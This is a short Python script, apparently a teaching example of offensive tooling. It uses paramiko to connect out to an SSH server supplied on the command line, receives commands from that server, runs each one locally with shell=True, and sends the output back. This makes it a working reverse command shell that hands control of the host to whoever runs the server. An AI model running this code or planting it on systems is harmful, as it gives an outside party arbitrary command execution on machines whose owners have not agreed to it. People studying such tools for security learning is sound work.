import paramiko
import subprocess
import sys
#script args
server_address = sys.argv[1]
server_port = int(sys.argv[2])
username = sys.argv[3]
password = sys.argv[4]
#connect to the remote ssh server and recieve commands to be #executed and send back output
def ssh_command(server_address, server_port, username, password):
    #instantiate the ssh client
    client = paramiko.SSHClient()
#optional is using keys instead of password auth
    #client.load_host_key('/path/to/file')
#auto add key
    client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
#connect to ssh server
    client.connect(
        server_address,
        port=server_port,
        username=username,
        password=password
    )
#get ssh session
    client_session = client.get_transport().open_session()
    if client_session.active and not client_session.closed:
        #wait for command, execute and send result ouput
        while True:
            #use subprocess run with timeout of 30 seconds
            try:
                command = client_session.recv(1024).decode('utf-8')
                command_output = subprocess.run(
                    command, stdout=subprocess.PIPE,
                    stderr=subprocess.PIPE,
                    shell=True,
                    timeout=30
                )
                #send back the resulting output
                if len(command_output.stderr.decode('utf-8')):
                    client_session.send(command_output.stderr.decode('utf-8'))
                elif len(command_output.stdout.decode('utf-8')):
                    client_session.send(command_output.stdout.decode('utf-8'))
                else:
                    client_session.send('null')
            except subprocess.CalledProcessError as err:
                client_session.send(str(err))
    client_session.close()
    return
ssh_command(server_address, server_port, username, password)